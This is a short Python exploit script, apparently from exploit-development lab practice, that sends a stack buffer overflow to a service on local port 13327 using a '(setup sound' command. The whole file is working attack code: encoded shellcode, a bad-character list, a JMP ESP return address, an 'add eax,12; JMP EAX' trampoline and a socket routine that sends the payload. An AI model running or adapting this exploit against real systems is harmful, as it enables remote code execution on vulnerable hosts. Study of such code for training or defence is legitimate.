# NX must be disabled in VM
import socket

host = "127.0.0.1"
port = 13327

buf =  b""
buf += b"\xbe\x79\x3f\xa7\x3a\xdb\xce\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x12\x31\x72\x12\x83\xea\xfc\x03\x0b\x31\x45"
buf += b"\xcf\xda\x96\x7e\xd3\x4f\x6a\xd2\x7e\x6d\xe5\x35\xce"
buf += b"\x17\x38\x35\xbc\x8e\x72\x09\x0e\xb0\x3a\x0f\x69\xd8"
buf += b"\xc3\xef\x89\x19\x54\xf2\x89\x08\xf8\x7b\x68\x9a\x66"
buf += b"\x2c\x3a\x89\xd5\xcf\x35\xcc\xd7\x50\x17\x66\x86\x7f"
buf += b"\xeb\x1e\x3e\xaf\x24\xbc\xd7\x26\xd9\x12\x7b\xb0\xff"
buf += b"\x22\x70\x0f\x7f"

# Bad: \x00\x09\x0a\x20
# JMP ESP
# add eax,12
# JMP EAX
# Shellcode
crash = buf + b'A' * (4368 - len(buf)) + b'\x97\x45\x13\x08' + b'\x83\xc0\x0c\xff\xe0\x90\x90'

buffer = b'\x11(setup sound ' + crash + b'\x90\x00#'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("Sending Buffer")
s.connect((host, port))

data = s.recv(1024)
print(data)

s.send(buffer)
s.close

print("Done")
